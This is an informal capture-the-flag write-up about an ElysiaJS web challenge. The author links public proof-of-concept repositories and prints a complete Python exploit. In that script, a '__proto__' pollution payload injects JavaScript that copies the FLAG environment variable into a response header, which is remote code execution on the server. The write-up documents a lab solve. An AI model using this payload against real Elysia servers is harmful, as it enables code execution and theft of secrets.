if you’re looking to read a good writeup please read CompleteHTTP or compiled-source sheets, i’m proud of those, this was more a venting session than a writeup

I’m sorry if i’m being less professional i’m just getting REALLY frustrated thinking about mineguesser and this challenge was also lowk really frustrating too

Ok so I don’t even know WHAT i was doing before like I really should have caught on to the hidden meaning of “don’t worry I told claude to make no mistakes” a LOT earlier on

My partner @muexsys handled the other two web challenges, but he just couldn’t figure this one out for the life of him. At some point after he had already gone home, I asked him

“did they use bun and complicated ass dependencies for the other challenges?”

answer: NO

at that point the hidden meaning of “don’t worry I told claude to make no mistakes” started materializing in my brain and i searched for elysiajs vulnerabilities and i clicked on the first one, saw “RCE”, kept reading, and NEARLY LOST IT when I saw

https://github.com/sportshead/elysia-poc

of course he had to remove the poc repo, so I went on archive.org, looked it up, and saw it had ONE fork. After searching on github for like two minutes, i found it, at https://github.com/passwa11/elysia-poc

ngl i’m being so fr, i thought the exploit was inside rce.ts because theres no way it could be that simple to just put in the README and i never bothered scrolling all the way down on archive.org frick me bro

anyhow, I read the example rce poc literally right there in the README, verified that the config was vulnerable, and then wrote the exploit script:

import requests

URL = "https://b3392748-20cd-4db9-bc79-ebaf922fffc4.play.gaslightctf.cooking:1337"

with requests.Session() as s:
	print("[*] register victim")
	r = s.post(
		f"{URL}/auth/register",
		data={
			"username": "technodot",
			"password": "password"
		}
	)
	r.raise_for_status()
	print(r.content)
	print()

	print("[*] query storage")
	r = s.post(
		f"{URL}/storage",
		data={"key": "thing", "value": '"x"'},
	)
	r.raise_for_status()
	print(r.content)
	print()

	print("[*] inject object")
	r = s.put(
		f"{URL}/storage/thing",
		json={
			"value": '"x"',
			"__proto__": {
				"cookie": {},
				"domain": "' + (c.set.headers['X-Flag']=process.env.FLAG,'localhost') + '", # here
			},
		},
	)
	r.raise_for_status()
	print(r.content)
	print()

	print("[*] read flag")
	r = s.get(f"{URL}/storage/thing/edit")
	if (flag := r.headers.get("X-Flag")) is None:
		print(f"exploit failed: {r.status_code}")
		exit()
	print(r.content)
	print()
	
	print(f"[*] flag: {flag}")